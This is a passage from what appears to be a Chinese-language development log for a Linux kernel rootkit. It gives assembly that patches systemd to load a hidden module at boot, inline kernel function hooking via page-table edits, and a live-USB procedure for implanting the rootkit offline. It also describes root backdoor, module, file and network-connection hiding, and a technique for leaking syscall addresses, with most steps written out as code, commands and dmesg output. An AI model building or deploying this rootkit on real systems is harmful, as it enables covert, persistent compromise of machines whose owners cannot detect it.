    syscall ; syscall(SYS_open, file, 0, 0)
    cmp rax, 0
    jl return

    ...
    syscall ; syscall(SYS_mmap, NULL, evil_size, 1, 2, fd, evil_base)
    cmp rax, -1
    je return

    ...
    syscall ; syscall(SYS_init_module, addr, evil_size, zero)

另外是 systemd 在被執行的時候如果以 O_RDWR 開啟的話會有 Text file busy 錯誤,所以不能直接修改它,但是我發現它可以 unlink,也就是刪除。所以這裡的作法是先用 O_RDONLY 的標誌打開,將內容存在 buffer 裡面,把檔案 unlink 再重新建立。

實際運作

這個在 ubuntu 24.04 上實驗過,我把 systemd 備份後用 root 權限執行惡意程式,重新開機。它順利啟動,並且成功自動掛載核心模組。

改成使用 finit_module

本來以為事情到這裡就解決了,然而發現了它會出現錯誤。下面會使用到 stop_machine 來執行東西,並且在裡面呼叫了 x64_sys_call,這樣的行為會出現錯誤,原因還沒想到。不過使用 insmod 去掛載卻沒問題,我使用了 strace 去追蹤,發現它使用了 finit_module 系統呼,於是我也改成這樣的實作方式。

finit_module 需要輸入 fd,而它會去找這個 fd 對應到的檔案,從它開頭位置開始讀。因為這個特性,使用 lseek 去移到特定位置再呼叫 finit_module 和直接呼叫 finit_module 的結果是一樣的(雖然說 insmod 有做這件事,不知道考量是什麼)。而我的核心模組是被塞在檔案後面的,因為上面的特性,我不能使用 lseek 去移動 fd 對應的指針來達到讀取核心模組的效果。所以,我使用了 memfd_create 系統呼叫,它會創建一個匿名檔案,且回傳一個檔案描述子。我們可以對這個檔案描述子進行讀寫操作。在創建這個匿名檔案後,我會把核心模組的內容寫進去,並且使用這個檔案描述子去呼叫 finit_module

說起來簡單,接下來就是寫更多的組合語言了:

commit 7f15447

payload:
# open(file, 0, 0)
...
    syscall
    cmp rax, 0
    jl return

# mmap(0, evil_size, 1, 2, fd, evil_base)
...
    syscall
    cmp rax, -1
    je return
...
# memfd_create("yee", 1)
...
    syscall
    cmp rax, 0
    jl return

# write(fd, address, evil_size)
...
    syscall

# finit_module(fd, "", 0)
...
    syscall

Hook without ftrace

看現在還能動的 kernel rootkit 都是用 ftrace,但我想用改機器碼的方式減少對 ftrace 的依賴是好事。而現在看到的使用這樣方式的 rootkit 都很舊,針對的是 32 bit 的 x86 架構,且對於防寫保護的關閉也不夠全面(清除 cr0WP 以前應該先清除 cr4CET)。而我這裡的實作方法不是改 cr0,而是去改 page table entry 中的讀寫權限。

先定義了一個結構體:

struct hook {
    unsigned long org_func;
    unsigned long evil_func;
    unsigned char org_code[HOOK_SIZE];
    unsigned char evil_code[HOOK_SIZE];
    struct list_head list;
};

org_func 是目標函式,evil_func 是惡意函式。org_code 是目標函式的開頭,evil_func 是要跳到惡意函式的 shellcode。這個 HOOK_SIZE 是 shellcode 長度。我會在目標開頭塞入這個 shellcode 讓它跳進惡意函式中。另外,惡意函式要怎麼呼叫原本的函式呢?它會在呼叫前去呼叫 hook_pause,這個函式會把原本函式的開頭復原,最後呼叫 hook_resume 將 shellcode 再寫回去。這裡先訂出界面,由於個函式實作概念重複,以下只會敘述一些函式的實作:

commit 6abaaf4

這裡用來修改機器碼的方式不是使用修改 cr0 的,而是去修改 page table entry 的讀寫權限:

static void make_rw(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    pte->pte |= _PAGE_RW;
}

static void make_ro(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    pte->pte = pte->pte & ~_PAGE_RW;
}

hook_start 的部份,我會先建立 hook 結構體,將對應資訊寫進去後,開始做 hook 操作。讓目標函式是可以寫的之後,將 shellcode 寫進去:

make_rw(org_func);
memcpy((void *) org_func, new_hook->evil_code, HOOK_SIZE);
make_ro(org_func);

然後在有一個全域的鏈結串列拿來放所有的 hook 結構體,使用內嵌的 list_head 將他們連起來。

list_add(&new_hook->list, &hook_list);

最後,在退出的時候,可以呼叫 hook_release 將所以有的函式都復原:

void hook_release(void)
{
    struct hook *now, *safe;
    list_for_each_entry_safe (now, safe, &hook_list, list) {
        make_rw(now->org_func);
        memcpy((void *) now->org_func, now->org_code, HOOK_SIZE);
        make_ro(now->org_func);
        list_del(&now->list);
        vfree(now);
    }
}

建立精簡 Live USB

我設想的使用情境是使用一個精簡的 live usb 去做開機,並且往特定硬碟分區的執行檔中注入惡意程式碼。現有的 rootkit 大致著重在安裝 rootkit 之後能做什麼事,而我想這樣隨開即用的設計是蠻實用的。並且 bzImage 還可以直接用現在這個作業系統拿來開機的 bzImage。

以下會敘述建立精簡 Live USB 的過程,之後會整理成 shell script 整合進來。

先用 lsblk 觀察硬碟分區,這裡是 /dev/sda
首先 umount 它:

sudo umount /dev/sda1

grub / UEFI 設定

安裝依賴:

$ sudo apt install grub-efi-amd64-bin 

格式化,並且建立分區給 bootloader:

$ sudo wipefs -a /dev/sda
$ sudo parted /dev/sda -- mklabel gpt
$ sudo parted /dev/sda -- mkpart ESP fat32 1MiB 300MiB
$ sudo parted /dev/sda -- set 1 esp on
$ sudo mkfs.vfat -F32 /dev/sda1

安裝 grub:

$ sudo mkdir -p /mnt/usb
$ sudo mount /dev/sda1 /mnt/usb
$ sudo mkdir -p /mnt/usb/EFI/BOOT
$ sudo mkdir -p /mnt/usb/boot
$ sudo grub-install \
    --target=x86_64-efi \
    --efi-directory=/mnt/usb \
    --boot-directory=/mnt/usb/boot \
    --removable \
    --force

建立 /mnt/usb/boot/grub/grub.cfg,設定成以下東西,UUID 要去觀察以下建立 rootfs 用的那個硬碟分區是什麼:

set timeout=5
set default=0

menuentry "Live USB" {
    linux /boot/bzImage root=UUID=fd613a01-4276-4855-be68-729a9833a554 rootfstype=ext4 rw init=/init console=tty0
    initrd /boot/initrd.img
}

等下全部結束之後,記得 umount:

$ sudo umount /mnt/usb

安裝 initramfs

$ sudo mkinitramfs -k -o /mnt/usb/boot/initrd.img $(uname -r)

獲取 bzImage

$ sudo cp /boot/vmlinuz-`uname -r` /mnt/usb/boot/bzImage

製作最小化 rootfs

建立第二個硬碟分區:

$ sudo parted /dev/sda -- mkpart primary ext4 300MiB 100%

格式化成 ext4:

$ sudo mkfs.ext4 /dev/sda2 -L rootfs

塞一些東西進去:

$ sudo mkdir -p /mnt/rootfs
$ sudo mount /dev/sda2 /mnt/rootfs

$ mkdir -p rootfs/{bin,dev,etc,proc,sys,usr/bin,usr/sbin,sbin}

$ wget https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox
$ chmod +x busybox
$ mv busybox rootfs/bin/

$ mknod rootfs/dev/console c 5 1
mknod rootfs/dev/null c 1 3

$ cat > rootfs/etc/inittab <<EOF
::sysinit:/bin/busybox mount -t proc proc /proc
::sysinit:/bin/busybox mount -t sysfs sysfs /sys
::respawn:/bin/busybox sh
EOF

$ cat > rootfs/etc/fstab <<EOF
proc /proc proc defaults 0 0
sysfs /sys sysfs defaults 0 0
EOF

$ sudo cp -a rootfs/* /mnt/rootfs/

建立系統起始腳本,放在 /mnt/rootfs/init,然後記得 chmod +x

#!/bin/busybox sh

/bin/busybox --install

mount -t devtmpfs devtmpfs /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys

export PATH=/bin:/sbin:/usr/bin:/usr/sbin

exec /bin/busybox sh

然後可以這樣看一下 UUID 是多少,在上面的 grub.cfg 設定會用到:

$ sudo blkid
...
/dev/sda2: LABEL="rootfs" UUID="fd613a01-4276-4855-be68-729a9833a554" 
...

結束後一樣要 umount:

$ sudo umount /mnt/rootfs

針對使用者體驗的改善

commit 6e094f7

雖然專題的重點在核心模組,但實作簡單就做一下。

指定硬碟分區

如果使用 Live USB 去植入 rootkit 的話,那安裝的根目錄就不再是開機時的 rootfs 了,所以這裡對於這種情況做了處理,可以指定要以哪個目錄作為根目錄植入 rootkit。

使用者界面

我提供了一個可以簡單使用的使用者界面,它會列出所有偵測到的硬碟分區,和他們的相關資訊,譬如掛載點、檔案系統類型、大小。使用者可以從裡面選擇一個去植入 rootkit。
我對這個 shell script 的期待是依賴最小化,所以訊息的獲得都從預設會有的 procfs 或是 sysfs 獲得,並且可以直接使用 /bin/sh 執行。
另外,在過程中也發現使用 Live USB 開機的時候,動態連結庫也是個需要解決的問題,這裡直接將使用者程式改為靜態連結的方式。

這裡個待處理的問題,btrfs 在掛載上去的時候會有 subvolume 的問題(我自己是使用btrfs,所以發現了這個問題),我等到核心模組的功能比較完善了再回來處理這個問題。

基礎功能

提權後門

commit 4f79a61

使用 rootkit 案例閱讀 提到的實作,這裡提供一個 ioctl 的控制界面。

隱藏核心模組

commit 9d6b7c0

使用 rootkit 案例閱讀 提到的實作。

隱藏檔案

commit 3ef6897

使用 rootkit 案例閱讀 提到的實作,但現在未實作隱藏某個使用者擁有的所有檔案與行程,不過可以依據行程的名稱去進行隱藏(因為使用者空間獲得行程訊息是使用 procfs)。

洩漏 ksymtabksymtab_gpl 地址

這和上面的 proc_dir_entry 一樣,就是發現了新的方法在不依賴 kprobe 的情況下洩漏更多資訊,但是缺乏可以被使用的地方。

從核心中 export 出 symbol 的方式有兩種,一種是 EXPORT_SYMBOL,一種是 EXPORT_SYMBOL_GPL。大部分的科普文章是這樣寫的,沒有 GPL 授權的核心模組不能存取有 GPL 標示的 symbol,有 GPL 授權的核心模組可以存取所有 export 的 symbol。然而,在 9011e49
("modules: only allow symbol_get of EXPORT_SYMBOL_GPL modules") 之後,有 GPL 授權的核心模組使用 symbol_get 的話只能存取有 GPL 授權的 symbol 了:

+if (fsa.license != GPL_ONLY) {
+    pr_warn("failing symbol_get of non-GPLONLY symbol %s.\n",
+            symbol);
+    goto fail;
}

然而,以下我找了一個方式去將裡面所有 symbol 都洩漏出來了(在不依賴 kprobekallsyms 的情況下)。

驗證 export 方式對於存取權限的影響

我們先實驗一下使用 EXPORT_SYMBOL 來 export 出來的 symbol 不能被有 GPL 授權的核心模組存取,首先是在使用 EXPORT_SYMBOL_GPL 的狀況下:

void fabcd(void)
{
}

EXPORT_SYMBOL_GPL(fabcd);

static int __init rootkit_init(void)
{
    THIS_MODULE->state = MODULE_STATE_LIVE;
    unsigned long x = symbol_get(fabcd);
    THIS_MODULE->state = MODULE_STATE_UNFORMED;
    printk("x: 0x%lx\n", x);
}

在掛載後,用 dmesg 會看到以下訊息,可以發現有抓到 symbol:

[   32.556204] x: 0xffffffffc0201010

之所以要去改 THIS_MODULE->state 是因為在 strong_try_module_get 中會對這個核心模組的狀態做檢查。這裡因為在 init 裡面,所以他的狀態是 MODULE_STATE_UNFORMED,所以會失敗(其實後來發現在 find_symbol 就擋下來,所以實際上不會呼叫下面這個函式,如果進到這個函式的話會被 BUG_ON 偵測到錯誤)。

static inline int strong_try_module_get(struct module *mod)
{
	BUG_ON(mod && mod->state == MODULE_STATE_UNFORMED);
	if (mod && mod->state == MODULE_STATE_COMING)
		return -EBUSY;
	if (try_module_get(mod))
		return 0;
	else
		return -ENOENT;
}

接下來改為使用 EXPORT_SYMBOL

void fabcd(void)
{
}

EXPORT_SYMBOL(fabcd);

static int __init rootkit_init(void)
{
    THIS_MODULE->state = MODULE_STATE_LIVE;
    unsigned long x = symbol_get(fabcd);
    THIS_MODULE->state = MODULE_STATE_UNFORMED;
    printk("x: 0x%lx\n", x);
}

會發現它沒有成功抓到 symbol。

[    6.819014] x: 0x0

__symbol_get 的實作方式

__symbol_get 會呼叫 find_symbol 來找 symbol 對應到的值。他的實作是這樣的:

bool find_symbol(struct find_symbol_arg *fsa) { static const struct symsearch arr[] = { { __start___ksymtab, __stop___ksymtab, __start___kcrctab, NOT_GPL_ONLY }, { __start___ksymtab_gpl, __stop___ksymtab_gpl, __start___kcrctab_gpl, GPL_ONLY }, }; struct module *mod; unsigned int i; for (i = 0; i < ARRAY_SIZE(arr); i++) if (find_exported_symbol_in_section(&arr[i], NULL, fsa)) return true; list_for_each_entry_rcu(mod, &modules, list, lockdep_is_held(&module_mutex)) { struct symsearch arr[] = { { mod->syms, mod->syms + mod->num_syms, mod->crcs, NOT_GPL_ONLY }, { mod->gpl_syms, mod->gpl_syms + mod->num_gpl_syms, mod->gpl_crcs, GPL_ONLY }, }; if (mod->state == MODULE_STATE_UNFORMED) continue; for (i = 0; i < ARRAY_SIZE(arr); i++) if (find_exported_symbol_in_section(&arr[i], mod, fsa)) return true; } pr_debug("Failed to find symbol %s\n", fsa->name); return false; }

使用上述兩種方法 export 的 symbol 分成兩種,一種是放在 ksymtabksymtab_gpl 裡面的,這種是在核心編譯過程中就決定的資訊,名稱由小到大排序放在表裡面。另一種是由掛載的核心模組 export 的,放在核心模組的 symsgpl_syms 欄位。

在 12 行到 14 行間他是在前者中去找符號,後面是在後者中去找符號。這裡關注的是前面的部份。可以發現,他們是使用 arr 這個陣列裡面的資訊作為參數去呼叫 find_exported_symbol_in_section ,而裡面放的有上述兩個表的起始和結束。接下來追進去看 find_exported_symbol_in_section 是怎麼實作的:

static bool find_exported_symbol_in_section(const struct symsearch *syms,
					    struct module *owner,
					    struct find_symbol_arg *fsa)
{
    ...
    sym = bsearch(fsa->name, syms->start, syms->stop - syms->start,
                    sizeof(struct kernel_symbol), cmp_name);
    if (!sym)
        return false;
    ...
    return true;
}

可以發現,它會使用 bsearch 去進行二分搜尋,找到對應的 kernel_symbol 的位置。

想法

可以發現 find_exported_symbol_in_section 呼叫了 bsearch,而這個東西是有被釋放出來給核心模組使用的函式,所以我們可以知道他的地址,那我們可以對它進行 hook 就能獲得他的輸入。只要去呼叫一次 __symbol_get__symbol_put,並且在期間對 bsearch 進行攔截參數的話,就能獲取 __start___ksymtab__start___ksymtab_gpl 了。

demo

首先去對 bsearch 進行 hook,看看結果:

void *bsearch_evil(const void *key, const void *base, size_t num, size_t size, cmp_func_t cmp)
{
    hook_pause(bsearch);
    void *ret = bsearch(key, base, num, size, cmp);
    printk("base: 0x%lx\n", base);
    printk("end: 0x%lx\n", base + num * size);
    printk("str: %s\n", (char *)key);
    hook_resume(bsearch);
    return ret;
}

void fabcd(void)
{
}

EXPORT_SYMBOL(fabcd);

tatic int __init rootkit_init(void)
{
    printk(KERN_ALERT "rootkit init\n");
    hook_start(bsearch, bsearch_evil);
    __symbol_put("fabcd");
    hook_release();

使用 dmesg 可以看到它印出了 3 組地址。第一組地址是 ksymtab 的,第二組地址是 ksymtab_gpl 的,第三組地址是在核心模組的 sym 裡面找的,可以看到尋找的字串都是 fabcd,也就是一開始設定的函式名稱(這裡使用)。

[   11.521541] rootkit init
[   11.521995] base: 0xffffffff82def958
[   11.522110] end: 0xffffffff82e02ce4
[   11.522183] str: fabcd
[   11.522306] base: 0xffffffff82e02ce4
[   11.522347] end: 0xffffffff82e1d5c4
[   11.522391] str: fabcd
[   11.522456] base: 0xffffffffc0205054
[   11.522505] end: 0xffffffffc0205060
[   11.522547] str: fabcd

為了看看他們是不是正確的地址,以下把他們的名字印出來。這裡只是要做個驗證,我把 kaslr 關掉,直接用寫死的地址去看(和上面一樣的地址)。另外,因為 kernel_symbol_name 之類的函式並沒有被釋放出來,我自己實作了一個:

struct kernel_symbol {
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
        int value_offset;
        int name_offset;
        int namespace_offset;
#else
        unsigned long value;
        const char *name;
        const char *namespace;
#endif
};

static const char *kernel_symbol_name(const struct kernel_symbol *sym)
{
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
        return offset_to_ptr(&sym->name_offset);
#else
        return sym->name;
#endif
}

static int __init rootkit_init(void)
{
    printk(KERN_ALERT "rootkit init\n");
    struct kernel_symbol *arr = (struct kernel_symbol *)0xffffffff82def958;
    struct kernel_symbol *end = (struct kernel_symbol *)0xffffffff82e1d5c4;
    for (int i = 0; arr != end; i++) {
        printk("sym %d: %s\n", i, kernel_symbol_name(arr));
        arr++;
    }
}

可以發現 symbol 被弄出來了:

...
[    9.123992] sym 15616: zs_destroy_pool
[    9.124057] sym 15617: zs_free
[    9.124114] sym 15618: zs_get_total_pages
[    9.124182] sym 15619: zs_huge_class_size
[    9.124259] sym 15620: zs_lookup_class_index
[    9.124332] sym 15621: zs_malloc
[    9.124393] sym 15622: zs_map_object
[    9.124462] sym 15623: zs_pool_stats
[    9.124530] sym 15624: zs_unmap_object

不依賴 kallsyms 與 kprobe 的 syscall 地址洩漏

commit 7197487

以下的方法只要保證從 x64_sys_call 到核心模組的 init 函式的呼叫路徑(call trace)的長度是某個特定的值就能運作,而如果要追求更多的相容性的情況下可以再經過一些篩選去做到,但在假設使用者不會去更改 linux 程式碼的情況下我沒有做這樣的篩選。

想法

在呼叫 rootkit_init 這個函式的時候,因為他是透過 init_module 這個系統呼叫去掛載的,所以它一定會經過 syscall handler。而在一個函式中,我們可以在 rbp+8 的位置得到這個函式的回傳地址,又可以從 rbp 的位置得到在上一個 stack frame 中的 rbp 值,所以可以找到在呼叫路徑中若干層的回傳地址。從下面的例子我們可以看到,rbp 指向的位置存的是 rbp1,也就是上一個 stack frame 中的 rbp,而 rbp1 指向的位置又存著上上個 stack frame 中的 rbp。那如果我要找到我 return 三次會回到哪個地址,也就是 return address 2,要怎麼做呢?向 rbp 取值得到 rbp1,再向 rbp1 取值得到 rbp2,在 rbp2+8 的位置存的值就是 return address 2。







stack_frame



label_rsp
rsp



stack

 

...

rbp1

return address 0

...

rbp2

return address 1

...

rbp3

return address 2



label_rsp->stack:rsp





label_rbp
rbp



label_rbp->stack:rbp0





label_rbp1
rbp1



label_rbp1->stack:rbp1





label_rbp2
rbp2



label_rbp2->stack:rbp2





有了這個工具,我們就可以去看看 syscall handler 在這個呼叫路徑上的第幾層,我在實驗環境中去讓它在 rootkit_init 中系統崩潰,可以看到這個呼叫路徑:

[    4.263825]  ? rootkit_init+0x15/0xff0 [rootkit]
[    4.263933]  do_one_initcall+0x5e/0x340
[    4.264120]  do_init_module+0x97/0x2c0
[    4.264205]  load_module+0x6b5/0x7d0
[    4.264284]  init_module_from_file+0x96/0x100
[    4.264379]  idempotent_init_module+0x11c/0x310
[    4.264475]  __x64_sys_finit_module+0x64/0xd0
[    4.264561]  x64_sys_call+0x2580/0x25f0
...

可以發現往上 7 層後就會找到 x64_sys_call 函式,然後我們去看看核心中對於這個函式的實作

long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
	switch (nr) {
	#include <asm/syscalls_64.h>
	default: return __x64_sys_ni_syscall(regs);
	}
}

其中 nr 是 syscall number,他是用一個 switch-case 去依據 nr 呼叫對應的系統呼叫。

然後我們看看函式的開頭有什麼特徵:

.text:FFFFFFFF81009DE5                 push    rbp
.text:FFFFFFFF81009DE6                 mov     rbp, rsp

這不難理解,因為在函式呼叫的一開始要把上一個 stack frame 的 rbp 存起來,並且讓 rbp 指向那個位置,我們可以以這個特徵來找到函式的開頭。

接下來觀察 x86-64 的 call 指令的構成,如果以相對 rip 的地址去呼叫的話,那麼機器碼的第一個位元組會是 e8,接下來 4 個位元組存了一個偏移量,是相對於下一條指令的偏移量。

既然知道了 call 指令的構成,那我們能從函式開頭開始去找到所有的 call 函式,並且知道他們呼叫的地址是什麼。比較麻煩的一件事情是 x86 的指令長短不一,所以需要寫一個簡單的反組譯器去計算當前指令的長度。

接下來我們有了所有它呼叫的系統呼叫函式,但是要怎麼分辨哪個對應到哪個 syscall number 呢?如果去進行反組譯來做靜態的解析的話有幾個缺點:

  • 實作困難
  • 過於依賴編譯器

於是,我希望使用在我可以控制的範圍下模擬執行的方式獲得結果。我的方法是這樣的,先去 hook 所有找到的系統呼叫函式,我在這裡把那個替換過去的函式叫做 evil_func。在 evil_func 中,我可以知道我從哪裡呼叫他的,於是我可以透過解析它的 call 指令來找到它原本呼叫的函式地址是什麼。那因為我擁有 syscall handler 的地址,所以我可以利用他來呼叫有特定 syscall number 的系統呼叫,於是就能夠利用 evil_func 來獲得它對應的函式地址。

找到 x64_sys_call

首先實作出 find_address_up 這個函式,可以找到向上回傳 level 次會到達的地方,這個函式是以 inline 的方式插入在函式裡面的,所以不用多計算一層:

inline unsigned long find_address_up(int level)
{
    if (!level)
        return 0;
    unsigned long addr;
    __asm__ __volatile__("mov %%rbp, %[addr]\n" : [addr] "=r"(addr));
    for (int i = 0; i < level - 1; i++)
        addr = *(unsigned long *) addr;
    addr = *(unsigned long *) (addr + 8);
    return addr;
}

接下來往上找 7 層,並且對照 push rbp; mov rbp, rsp; 的機器碼去尋找函式的開頭:

inline void init_x64_sys_call(void)
{
    unsigned long addr = find_address_up(7);
    while (*(unsigned int *) addr != 0xe5894855)
        addr--;
    x64_sys_call_addr = addr;
}

找到所有 syscall

首先是從函式頭開始走,如果遇到開頭是 0xe8 的代表他是 call 指令,就解析指令得到地址,對它進行 hook

if (*(char *) addr == 0xe8) {
    unsigned long func = addr + 5 + *(unsigned int *) (addr + 1);
    hook_start(func, syscall_stealer, "yee");
    addr += 5;
    continue;
}

接下來使用 get_instruction_length 去找到這個指令的長度,然後跳到下一個指令的開頭:

size_t len = get_instruction_length(addr);
if (len == 0)
    break;
addr += len;

這個 get_instruction_length 是在 AI 的幫助下生出來的,我做的是一直看 core dump 去看看它撞到了什麼沒有處理到的指令。之後如果有擴充需求可以去改進這個函式,我想現在市面上已經有很多現成的反組譯器了,所以理論上所有情況都有辦法解決:

/**
 * get_instruction_length - Calculate the length of an x86_64 instruction
 * @ip: Pointer to the instruction start
 *
 * This function analyzes the instruction opcode and prefixes to determine
 * the total instruction length. It supports common instructions including
 * MOV, CMP, TEST, XOR, JMP, CALL, RET, and conditional jumps.
 *
 * Return: Number of bytes in the instruction, or 0 if unknown
 */
size_t get_instruction_length(const uint8_t *ip)
{
    ...
}

接下來我會把每個 syscall 都叫一遍去找到地址,exit_groupexit 不去做是因為這兩個系統呼叫是不會回傳的,而且目前想不到什麼狀況會需要 hook 這兩個函式,所以先不去處理它們。我的回傳結果會放在 regs.ax 裡面,這是和 syscall_stealer 的約定:

struct pt_regs regs;
for (int i = 0; i < NR_syscalls; i++) {
    if (i == __NR_exit_group || i == __NR_exit)
        continue;
    ((long (*)(struct pt_regs *, unsigned int)) x64_sys_call_addr)(&regs,
                                                                   i);
    sys_call_leaks[i] = regs.ax;
}

最後是 syscall_stealer,這是拿來 hook 系統呼叫函式的邪惡函式,它會做的事情是找到系統呼叫的地址,並且利用 pt_regs 結構體進行回傳。找到的方式是先找到它會回傳到哪裡,並且因為 call 指令的長度是 5,所以在回傳地址的前 4 個位元組是那個系統呼叫函式相對於回傳地址的偏移量,可以透過這個方法去算出系統呼叫函式的地址:

noinline static long syscall_stealer(struct pt_regs *regs)
{
    unsigned long addr = find_address_up(1);
    addr = *(unsigned int *) (addr - 4) + addr;
    regs->ax = addr;
    return 0;
}

那如果在這之間發生 syscall 怎麼處理呢?原本我的處理方式會是利用傳入的暫存器讓 syscall_stealer 去判斷說是否為正常呼叫,如果是正常呼叫就呼叫原本的系統呼叫函式,然而這個方式在多核且系統呼叫頻繁的系統中會出現問題。於是我找到了一個函式 stop_machine,它可以保證其他的任務全部暫停,只有它設定的那個 callback 函式在運行,我利用這個函式去進行呼叫。

demo

我將獲得系統呼叫函式地址的方法包裝成了 get_syscall 函式,並且在初始化之後去印出所有的 syscall 地址:

static int __init rootkit_init(void)
{
    printk(KERN_ALERT "rootkit init\n");
    init_x64_sys_call();
    stop_machine(init_syscall_table, NULL, NULL);
    for (int i = 0; i < NR_syscalls; i++) {
        printk("sys_call_table[%d] = 0x%lx\n", i, get_syscall(i));
    }
    // hide_module();
    utils_init();
    return 0;
}

可以看到結果:

[54047.896428] rootkit init
[54047.897143] sys_call_table[0] = 0xffffffffab117690
[54047.897146] sys_call_table[1] = 0xffffffffab117820
[54047.897147] sys_call_table[2] = 0xffffffffab112400
[54047.897149] sys_call_table[3] = 0xffffffffab10e5d0
[54047.897150] sys_call_table[4] = 0xffffffffab11faf0
[54047.897151] sys_call_table[5] = 0xffffffffab11f700
[54047.897152] sys_call_table[6] = 0xffffffffab11fdc0
...
[54047.897663] sys_call_table[457] = 0xffffffffab14bd50
[54047.897664] sys_call_table[458] = 0xffffffffab14b910
[54047.897665] sys_call_table[459] = 0xffffffffab315540
[54047.897666] sys_call_table[460] = 0xffffffffab3154c0
[54047.897667] sys_call_table[461] = 0xffffffffab3156c0

總共 461 - 2 個系統呼叫(除了 exitexit_group)都被我們洩漏出來了。

不固定長度呼叫路徑的系統呼叫地址洩漏

在不同版本做實驗的時候發現,在不同版本下,甚至是同版本的不同組態下,呼叫路徑的長度有可能會不同,所以這裡使用了一種方式來找到 x64_sys_call,這個方式同時在 6.11.06.11.0-26-generic6.14.0 上成功運行。它是利用 x64_sys_call 的特徵,也就是很多 call 指令,來分辨出在呼叫路徑上的哪個函式是 x64_sys_call

commit f9a58cb

隱藏網路連線

獲取 seq_operations 地址

這是一個 利用 proc_dir_entry 進行資訊洩漏 的明顯運用,畢竟網路有關的訊息都在 /proc/net 底下。然而,實際去做實驗後發現沒那麼單純,依照 /proc/net 對應的 proc_dir_entry 結構體中的資訊而言,這個目錄底下是空的,於是我去閱讀關於網路的 procfs 實作。

現有的 rootkit 對於隱藏 tcp 連線是對 tcp4_seq_show 進行 hook,於是我以此在 linux 核心程式碼中進行搜尋。

linux/net/ipv4/tcp_ipv4.c 可以看到 /proc/net/tcpseq_operations 被定義:

static const struct seq_operations tcp4_seq_ops = {
	.show		= tcp4_seq_show,
	.start		= tcp_seq_start,
	.next		= tcp_seq_next,
	.stop		= tcp_seq_stop,
};

同樣繼續往下看,可以看到他是怎麼被註冊的:

static int __net_init tcp4_proc_init_net(struct net *net)
{
	if (!proc_create_net_data("tcp", 0444, net->proc_net, &tcp4_seq_ops,
			sizeof(struct tcp_iter_state), &tcp4_seq_afinfo))
		return -ENOMEM;
	return 0;
}

可以看到他的親代節點是在一個 net 結構體中的 proc_net

然後這個函式是一個拿來 init 的 callback 函式,並且使用 register_pernet_subsys 註冊:

static struct pernet_operations tcp4_net_ops = {
	.init = tcp4_proc_init_net,
	.exit = tcp4_proc_exit_net,
};

int __init tcp4_proc_init(void)
{
	return register_pernet_subsys(&tcp4_net_ops);
}

接下來看看哪裡用到了 pernet_operations 這個結構體,在 linux/net/core/net_namespaces.c 找到了這個函式:

static int __register_pernet_operations(struct list_head *list,
					struct pernet_operations *ops)
{
	...
	if (ops->init || ops->id) {
		/* We held write locked pernet_ops_rwsem, and parallel
		 * setup_net() and cleanup_net() are not possible.
		 */
		for_each_net(net) {
			error = ops_init(ops, net);
			if (error)
				goto out_undo;
			list_add_tail(&net->exit_list, &net_exit_list);
		}
	}
	return 0;
    ...
}

這看函式名稱是一個拿來註冊一個鏈結串列裡的所有東西的函式,看函式內容也符合這樣的猜測。值得注意的是 for_each_net 這個巨集,我們看看它怎麼定義的:

#define for_each_net(VAR)				\
	list_for_each_entry(VAR, &net_namespace_list, list)

可以看到它是在走訪 net_namespace_list 這個鏈結串列,以下畫了一張結構圖:

image

後來我發現這個鏈結串列是有被 export 的,所以我們能直接使用它。這也等價於我們能直接使用 for_each_net 了。

EXPORT_SYMBOL_GPL(net_namespace_list);

所以我將 proc_find_by_path 的實作稍作修改整合進來了:

commit 1a4f738

struct proc_dir_entry *proc_find_by_path(const char *path)
{
    ...
    if (!strncmp(pos, "/net", 4)) {
        struct net *net;
        for_each_net(net)
        {
            strncpy(buf, path, PATH_MAX);
            struct proc_dir_entry *res =
                __proc_find_from_fix_point(net->proc_net, pos + 4);
            if (res)
                return res;
        }
        return NULL;
    }
    return __proc_find_from_fix_point(proc_root, pos);


    return now;
}

我將開頭是 /proc/net 的路徑分類處理,從所有 netproc_net 作為根目錄去搜尋後面的路徑對應到的結構體。

隱藏網路連線實作

commit ad6c616

這裡參考了 linux_kernel_hacking 的實作,先去觀察 tcp4_seq_show 在 linux 核心中怎麼實作的:

static int tcp4_seq_show(struct seq_file *seq, void *v)
{
	struct tcp_iter_state *st;
	struct sock *sk = v;

	seq_setwidth(seq, TMPSZ - 1);
	if (v == SEQ_START_TOKEN) {
		seq_puts(seq, "  sl  local_address rem_address   st tx_queue "
			   "rx_queue tr tm->when retrnsmt   uid  timeout "
			   "inode");
		goto out;
	}
	st = seq->private;

	if (sk->sk_state == TCP_TIME_WAIT)
		get_timewait4_sock(v, seq, st->num);
	else if (sk->sk_state == TCP_NEW_SYN_RECV)
		get_openreq4(v, seq, st->num);
	else
		get_tcp4_sock(v, seq, st->num);
out:
	seq_pad(seq, '\n');
	return 0;
}

這個函式拿來把資訊放進 seq 裡面的,以 SEQ_START_TOKEN 標示開頭,除了開頭以外,會把 v 這個指標解析成 sock 結構體的指標,並依照這個 socket 的狀態來決定要用什麼形式放進 seq 裡面。

所以我們要做的事情是解析這個結構體的資訊,判斷有哪些東西要放進去 seq 裡面。看了 linux_kernel_hacking 的實作之後,知道了 sock 其實是一個內嵌在 inet_sock 結構體開頭的結構體,在 inet_sock 中有更多的資訊,譬如說來源的 port。於是我建了一個黑名單來紀錄一些我希望隱藏的 port,並且在發現這些 port 的時候不往 seq 裡面放東西,實際上就是去呼叫原本的函式:

static int tcp4_seq_show_evil(struct seq_file *seq, void *v)
{
    if (v == SEQ_START_TOKEN)
        goto RET;
    struct inet_sock *sk = (struct inet_sock *) v;
    struct struct_list *node;
    read_lock(&port_black_list_lock);
    list_for_each_entry (node, &port_black_list, list)
        if (htons(node->num) == sk->inet_sport ||
            htons(node->num) == sk->inet_dport) {
            read_unlock(&port_black_list_lock);
            return 0;
        }
    read_unlock(&port_black_list_lock);
RET:
    return CALL_ORIGINAL_FUNC_BY_NAME_RET(
        "tcp4_seq_show", int (*)(struct seq_file *, void *), int, seq, v);
}

同樣的,udp 的隱藏方法也相似:

commit 908acd6

demo

tcp

首先啟動一個 http server:

$ python -m http.server 1234

一開始使用 netstat 看看,發現是看得到的:

$ netstat -tunel | grep 1234 
